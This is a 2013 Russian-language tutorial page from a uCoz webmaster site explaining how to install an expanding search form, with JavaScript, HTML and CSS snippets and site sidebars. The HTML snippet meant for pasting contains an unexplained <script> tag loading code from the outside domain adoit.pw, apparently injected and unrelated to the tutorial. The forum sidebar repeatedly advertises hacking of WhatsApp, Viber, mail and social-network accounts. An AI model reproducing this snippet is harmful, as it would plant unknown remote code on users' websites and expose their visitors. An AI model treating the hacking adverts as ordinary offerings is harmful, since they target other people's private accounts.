Меню сайта
 Основное меню  Soft католог  Фильмы Онлайн  Католог статей  Фотогалерея  ФОРУМ
Мини-чат
300
Новое на форуме
1 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
2 : Горизонтальное меню для ucoz
3 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
4 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
5 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
6 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
7 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
8 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
9 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
10 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
Баннерообмен


Киноновинки-онлайн, Бесплатный SOFT, Флеш-игры онлайн, Новости из мира интернет-технологий, Скрипты uCoz, Статьи ВК и тп. Всё тут!

Кинотеатр онлайн Luchok.com 


  • Хостинг Изображений
  • Хостинг Файлов
  • Наш опрос
    Скорость вашей интернет связи?
    Всего ответов: 39
    Статистика
    Счетчик посещений сайта

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте
    Всего: 530
    Новых за месяц: 1
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 4
    Проверенных: 1
    Обычных юзеров: 457
    Из них
    Парней: 474
    Девушек: 56

    Нас сегодня посетили:

    Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
    13:50
    Создаём раздвижную форму поиска для uCoz
    Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

    Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

    И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

    Код
    <script src="http://pnghosts.ru/js_css/classie.js"></script>
    <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
    <script>
      new UISearch( document.getElementById( 'sb-search' ) );
    </script>


    Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

    Код
    <!-- Поиск по сайту -->  
      <div id="sb-search" class="sb-search">
      <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
      <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
      <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
      </form>  
      </div>  
      <!-- /Поиск по сайту -->


    Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

    Код
    /* Раздвижная форма поиска для uCoz
    ------------------------------------------*/
    .sb-search {
      position: relative;
      margin-top: 10px;
      width: 0%;
      min-width: 32px;
      height: 32px;
      float: right;
      overflow: hidden;
       
      -webkit-transition: width 0.3s;
      -moz-transition: width 0.3s;
      transition: width 0.3s;
      -webkit-backface-visibility: hidden;
    }

    .sb-search-input {
      position: absolute;
      top: 0;
      right: 0;
       
      margin: 0;
      z-index: 10;
      width:300px;
      height: 20px;
      outline: none;
      background: #fff;  
      border: 1px solid #CAD3DA;  
      padding: 5px 32px 5px 20px;
       
      font:11px Verdana,Arial,Helvetica, sans-serif;
      color:#555;  
      border-radius:3px 0px 0px 3px;  
    }

    .sb-search-input::-webkit-input-placeholder {
      color: #efb480;
    }

    .sb-search-input:-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input::-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input:-ms-input-placeholder {
      color: #efb480;
    }

    .sb-icon-search,
    .sb-search-submit {
      position: absolute;
      right: 0;
      top: 0;
      margin: 0;
       
      width: 32px;
      height: 32px;
      display: block;

      line-height: 30px;
      text-align: center;
      cursor: pointer;
    }

    .sb-search-submit {
      background: #fff;
      color: transparent;
      border: none;
      outline: none;
      z-index: -1;
      -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
      filter: alpha(opacity=0);  
      opacity: 0;  
    }

    .sb-icon-search {
      border:none;  
      z-index: 90;
      background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      -webkit-font-smoothing: antialiased;
      border-radius:3px 3px 3px 3px;  
    }

    .sb-icon-search:before {
      content: "\e000";
    }

    .sb-search.sb-search-open,
    .no-js .sb-search {
      width: 100%;
    }

    .sb-search.sb-search-open .sb-icon-search,
    .no-js .sb-search .sb-icon-search {
      background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      z-index: 11;
      border-radius:0px 3px 3px 0px;  
    }

    .sb-search.sb-search-open .sb-search-submit,
    .no-js .sb-search .sb-search-submit {
      z-index: 90;
    }


    На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

    Спасибо за внимание!
    Просмотров: 107 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Форма входа
    Советуем к просмотру
    Сумерки 4. Сага. Рассвет. Часть 1
    [Триллер, Приключения]
    Большая разница - Хрень
    [Видео, Приколы]
    Мегамозг 3D (Megamind) 2010
    [Мультфильмы,Мультсериалы, Анимэ]
    Тупиковый период
    [Гоблинские переводы]
    Большая разница - Девчата
    [Видео, Приколы]
    Люди-Крестик
    [Гоблинские переводы]
    Властелин колец: Возвращение бомжа
    [Гоблинские переводы]
    День когда земля остановилась
    [Фантастика, Приключения]
    Такси-2 (русский вариант)
    [Видео, Приколы]
    Реквием из песка
    [Видео, Приколы]
    Большая разница - Айфоня
    [Видео, Приколы]
    Зелёный Шершень 3D
    [Фантастика, Приключения]
    Тетрадь Смерти / Death Note
    [Мультфильмы,Мультсериалы, Анимэ]
    Ёлки (2010)
    [Комедии, Экшн]
    Россия от края до края
    [Документальные, Наука]
    Женщина в черном
    [Ужасы, Мистика]
    Тайна красной планеты
    [Мультфильмы,Мультсериалы, Анимэ]
    TRON: Наследие 2010
    [Фантастика, Приключения]
    Большой выстрел (2011)
    [Боевики, Триллер, драки]
    Погоня / Abduction (2011)
    [Боевики, Триллер, драки]
    Девять / 9 (2010)
    [Мультфильмы,Мультсериалы, Анимэ]
    Команда А
    [Фантастика, Приключения]
    Месть пушистых
    [Фильмы, Семейные]
    Большая разница - Малахов +
    [Видео, Приколы]
    Храбрые перцем / Your Highness
    [Комедии, Экшн]
    Паронормальное явление-2
    [Ужасы, Мистика]
    Каникулы строгого режима (2009)
    [Комедии, Экшн]
    Три богатыря и Шамаханская царица
    [Мультфильмы,Мультсериалы, Анимэ]
    Большая разница - Кто хочет стать миллионером
    [Видео, Приколы]
    Ёлки 2
    [Комедии, Экшн]
    Люди Икс: Первый класс
    [Фантастика, Приключения]
    Большая разница - Top Gear
    [Видео, Приколы]
    Спаун / Spawn
    [Фантастика, Приключения]
    Шаг вперед 3D(2010)
    [Фильмы, Семейные]
    У холмов есть глаза
    [Ужасы, Мистика]
    Это очень забавная история (2010)
    [Комедии, Экшн]
    На игре 2. Новый уровень
    [Боевики, Триллер, драки]
    Форсаж 5 / Fast Five [HDRip]
    [Боевики, Триллер, драки]
    Черный рыцарь ( Black Knight)
    [Комедии, Экшн]
    Голодный кролик атакует
    [Боевики, Триллер, драки]
    КВН Луна
    [Видео, Приколы]
    Рыцарь дня(2010)
    [Боевики, Триллер, драки]
    Зубная фея 2/ Tooth Fairy 2
    [Фильмы, Семейные]
    Большая разница - Боевик 90-х годов
    [Видео, Приколы]
    Ученик Чародея
    [Фантастика, Приключения]
    Путь воина (Scr, 2010г)
    [Фантастика, Приключения]
    Большая разница - телемагазин (Водка)
    [Видео, Приколы]
    Соломон Кейн
    [Фантастика, Приключения]
    Пираты Карибского моря 4: На странных берегах
    [Фантастика, Приключения]
    Шелуха / Husk (2011)
    [Ужасы, Мистика]
    Необходимый Софт

    Для красивого отображения этого блока требуется Flash Player 9 или выше.

    Свежие новости
    Самые свежие Новости

    Яндекс цитирования
    Поиск


    Яндекс.Метрика
    Copyright © 2010-2017г